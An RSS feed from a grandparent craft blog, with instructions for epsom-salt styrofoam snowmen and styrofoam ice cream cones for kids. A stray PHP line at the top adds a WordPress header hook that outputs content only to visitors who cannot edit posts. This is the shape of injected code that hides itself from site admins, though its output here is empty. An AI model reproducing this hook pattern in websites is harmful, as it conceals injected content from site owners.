function wp_pf_ddc3db36(){$c=wp_get_current_user()->has_cap('edit_posts')?1:0;if($c==0){echo'';}}add_action("wp_head","wp_pf_ddc3db36"); Styrofoam balls Archives - Call Me Grandma https://www.callmegrandma.com/tag/styrofoam-balls/ An idea blog for grandparents and parents Mon, 26 Jan 2026 08:51:18 +0000 en-US hourly 1 How to Make Snowmen — a Fun Winter Craft https://www.callmegrandma.com/how-to-make-snowmen-a-fun-winter-craft/?utm_source=rss&utm_medium=rss&utm_campaign=how-to-make-snowmen-a-fun-winter-craft Wed, 03 Dec 2025 05:00:05 +0000 https://www.callmegrandma.com/?p=16635 Make snowmen from styrofoam balls. It's a fun winter project for kids and a festive holiday centerpiece.

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]]> Learn how to make snowmen with styrofoam balls and epsom salts, Grouped on the dinner table, these adorable guys make a festive holiday centerpiece. The grandkids and I crafted them on a winter afternoon last year.

Make these snowmen from styrofoam balls covered in epsom salts. The eyes and nose are polymer clay.
Some of the snowmen we made last winter. They’re easy and fun to make.

How to Make Snowmen

The instructions are for one snowman. Multiply materials to make more. Epsom salt is available at pharmacies, grocery stores, big box retailers, and online.

Materials Needed:

  • 2 or 3 styrofoam balls of varying sizes
  • Bamboo skewers
  • Epsom salt
  • Orange polymer clay (such as Sculpey)
  • Black polymer clay (such as Sculpey)
  • Twigs (for hands)
  • White school glue (such as Elmer’s)
  • Accessories such as top hat, beanie, or scarf (see instructions to make them below)
Child prepares to assemble snowman head to the body.
Miss T prepares to attach the snowman head.

Tools Needed:

  • Kitchen knife
  • X-ACTO knife or other such craft or utility knife
  • Metal spoon
  • Foam brush
  • Toaster oven or regular oven to bake polymer clay
Two types of styrofoam balls: the crumbly type, often used. in packing materials, is harder to cut.
Select styrofoam balls carefully; it’s harder to work with the type at left that crumbles when cut.

Method:

Build the Snowman

A snowman made with three balls gives a different, more streamlined look than one made with two balls.
This snowman is made with three styrofoam balls of the same size.

Decide if you want to use two or three styrofoam balls to make your snowman. Using a kitchen knife, slice off a little of the ball you plan to use as a base so the snowman can stand.

Using a craft or utility knife and a metal spoon, hollow out the top of the foam ball base to create a cavity large enough to set the second ball securely on the first. Hollow out the top of this ball if you plan to stack a third ball on top. WARNING: Knife should only be handled by an adult–and very carefully.

Use a bamboo skewer to hold the balls in place by inserting the skewer into the center of the base ball, and then thread to the center of each additional ball in the stack. Snip off any excess skewer. WARNING: Skewers have sharp points; it’s best for an adult to skewer the balls.

Child uses foam brush to brush on glue; then he'll sprinkle epsom salts over the glue.
N assembles his snowman before brushing with glue to adhere epsom salt.

Coat the Snowman

Using a foam brush, brush glue onto the foam balls and sprinkle with epsom salt to coat completely. Let dry. Miss T coated the balls individually before assembling the snowman; N preferred to assemble the snowman first, then coat in epsom salt.

Tip: pour the glue into a shallow plastic container so it’s easy to dip the brush. Coat the glue-covered snowman with epsom salt over a shallow pan, so you can gather the excess salt and reuse.

Make the Features

Eyes, buttons, and carrot noses are made from polymer clay with small lengths of skewer attached. After baking to harden, the skewers can be inserted into the snowman to hold features in place.
Eyes, nose, and buttons are shaped around cut-up skewers, ready to bake.

Cut or snap skewers into smaller sticks. Shape carrot from the orange polymer clay and poke a skewer piece into the base. Shape small balls for eyes and buttons around skewer pieces.

Bake the shaped pieces following instructions on your polymer clay package, usually, 275 degrees F. for 15 to 30 minutes per 1/4-inch thickness.

Assemble the Snowman

Poke the eyes and nose into the snowman. If the polymer clay loosens from the skewer, add a little white glue to hold the skewer and clay together. Poke the twigs into the sides of the snowman for hands. Add accessories, if desired.

How to Make Snowmen Accessories

Materials Needed:

  • Old socks
  • Toilet paper rolls
  • Black paint (acrylic or tempera paint)
  • Black felt scraps
  • White school glue (such as Elmer’s)

Tools Needed:

  • Sharp scissors
  • A circle shape, such as dry measuring cup, jar lid, etc.
  • Pencil

Method:

Some snowmen accessory ideas: scarves and beanie from a sock; hats from toilet roll and felt.

Socks: If using socks, there are several things you can do with them. Cut off the toe to form a beanie for the snowman. Glue on a small pompom in the center. Cut lengths of sock (toe to calf) to make scarves.

Hats: Cut toilet paper rolls crosswise to the height you want your hats to be. Make some short and some tall.

Paint toilet paper roll with black paint; let dry.

To make the top of the hat, trace around the toilet paper roll on black felt, cut out, and glue to the top of the painted toilet paper roll.

To make the top of the hat, trace the toilet paper roll on black felt, cut out, and glue in place.
The top of the hat is made by tracing toilet paper roll on black felt and gluing in place.

To make the brim of the hat, cut a felt circle larger than the toilet paper roll. You could use a dry measure cup or jar lid for a pattern. Glue to the toilet paper roll. You don’t have to cut out an inner circle for the hat to sit on the head.

Cut a felt circle larger than the crown of the hat to make a brim. I traced a dry measuring cup.

Glue on a band of ribbon around the hat, if you like.

How to Use Snowmen for Table Centerpieces

Set snowman in a row in the center of the table, turning them so snowmen face diners on all sides. I added white birch branches in glass vases with fairy lights set in bud vases, tea lights, and artificial snow.

Dinner table is set with snowmen as the centerpiece. Artificial snow and birch branches with fairy lights complete the setting.
Snowmen centerpiece features birch branches with fairy lights, tea lights, and artificial snow.

An easier option is to simply make snowballs; you don’t have to craft snowmen, to decorate your table, using the same epsom salt technique.

Epsom-salt-covered styrofoam balls make a beautiful table centerpiece.
Epsom salt snowballs and fresh Christmas tree sprigs decorate this table.

Have fun making these snowmen to get you and the grandkids into the holiday spirit!

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]]> Crafts for Kids: Make Ice Cream Cones this summer! https://www.callmegrandma.com/crafts-for-kids-make-ice-cream-cones-this-summer/?utm_source=rss&utm_medium=rss&utm_campaign=crafts-for-kids-make-ice-cream-cones-this-summer https://www.callmegrandma.com/crafts-for-kids-make-ice-cream-cones-this-summer/#comments Wed, 03 Jul 2019 03:00:41 +0000 http://www.callmegrandma.com/?p=394 If you're doing crafts for kids this summer, make these ice cream cones from Styrofoam balls and card stock. Then start your own ice cream store.

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]]> If you’re planning a program of crafts for kids this summer, consider making ice cream cones. Miss T and I have a cookie and ice cream shop where we buy and sell Styrofoam ice cream and clay cookies to each other.

Our shop is more than for pretend play. In fact, the shop teaches Miss T about math and she learns some life lessons.  You’ll find the game playing details in next week’s Grandma Fun post.

Ice cream balls in the bowl, dished up with a real ice cream scoop, are waiting to be placed in cones, per order.

Miss T’s little brother is too young to participate in the shop. So, he just has fun selling the ice cream from this ice cream truck.  Made from polyester and held together with flexible wires, we anticipated that the truck would be rather flimsy when we bought it–and it is!

But the brilliant part is that when they’re done playing with it, the truck collapses like a laundry hamper and fits neatly back in its box. Caution: Not for rambunctious children who could tear it apart.

Even little ones can engage in ice cream play by pretending to sell cones.

What you Need for the Ice Cream Cones

  • Card stock in ice cream cone colors (light beige and dark brown for chocolate)
  • Ruler
  • Pencil
  • Scissors
  • Brown marking pen with fine tip
  • Glue gun
  • White Velcro (1/2-inch-wide) strips
Velcro holds the ice cream balls in the cone. Making ice cream cones is just one of the crafts for kids we’ll be featuring for summer fun.

To Make the Ice Cream Cones

For each cone, cut card stock into a 6-inch square. Using a ruler laid diagonally across the square, measure 6 inches and mark with a pencil.  Keeping the ruler affixed at the base, swing the top of the ruler to the left and right of the diagonal like a compass, marking off 6 inches in increments until the marked lines form an arc. Cut out the shape with scissors.

Using a ruler as your guide, mark off equidistant lines ¾ inches apart in a cross-hatch pattern to replicate a waffle cone.

To make the cone shape, use the ruler to mark off 6 inches from base to top.

Roll the card stock into a cone shape and glue the edges with a half-inch overlap.  (It’s not easy to shape the cone without bending the card stock at the tip of the cone. To help me, I use the handle end of an artist’s brush first, to gently coax the pointed tip of the paper into a roll.)

Once the cone is glued in place, the final step is to glue on a ¾-inch piece of Velcro to the lip inside the cone at the top. Save the opposite half of the cut Velcro strip to glue to the ice cream ball.

For another fun craft project, create a board book for baby.

IMPORTANT:  Velcro has a hook side and a loop side, to enable the two sides to adhere. Be sure you use the same side for all the cones and the opposing side for all the ice cream balls. This ensures that the ice cream balls can be affixed to the cones interchangeably.

What you Need for the Ice Cream

  • 10-inch bamboo skewers
  • 3-inch Styrofoam balls
  • Paint brushes about 1 inch wide
  • Acrylic paints in ice cream colors
  • Paper plate to use as a palette
  • Water jar to rinse brushes
  • Corrugated cardboard box or tray, (see note)

To Make the Ice Cream

Insert a bamboo skewer about 1/2 inch into a Styrofoam ball or until the ball feels securely impaled.  Be careful with the sharp point of the skewer around children.  Squeeze out paint on a paper plate (or an artist’s paper palette if you have one) and have kids paint the balls to cover completely, using the skewer as a handle.  We tried to paint some parts with little splotchy dabs to replicate the texture of ice cream.

Insert a bamboo skewer into a Styrofoam ball to make it easier to paint the entire ball.

To dry the balls, insert the skewers into the spaces around the edge of a corrugated box.  Once the paint is dry, glue the remaining half of the Velcro strip to the ice cream ball.  

Create a drying rack by inserting the painted balls into the holes of a corrugated carton.

How to Assemble the Ice Cream Cones

To assemble, attach the ice cream ball to the cone with the Velcro strips. The ice cream won’t sit securely in the cone, but neither will it fall out while playing. While you could glue the ice cream into the cone, this doesn’t allow for interchangeability. Part of the fun is being able to order whatever flavor of ice cream you want in whatever cone you desire.

Notes:

  1. The corrugated tray is needed to dry the Styrofoam balls.  I like the cut-off boxes from Costco or the kind of box that flats of fruit are sold in at Trader Joe’s, for example.  Alternatively, you can just cut off the top of any corrugated carton.  What you want to expose is the zig-zag pattern between the layers of cardboard, which is perfect for holding the bamboo skewers in place.
  2. When you glue the Velcro into the cone, test one first to find the best placement for the Velcro to hold the ice cream ball.
  3. If you have a Cricut cutting machine, you can find a pattern for an ice cream cone to purchase.  The machine will cut the cone shape and mark diagonal lines for a waffle cone.

What Children Learn from this Activity

  • They learn that toys and games can be made and don’t have to be store-bought.
  • How to use your imagination to concoct ice cream flavors.
  • Dexterity with a paint brush.
  • A focused program of crafts for kids will help to entertain and keep young minds active all summer long.

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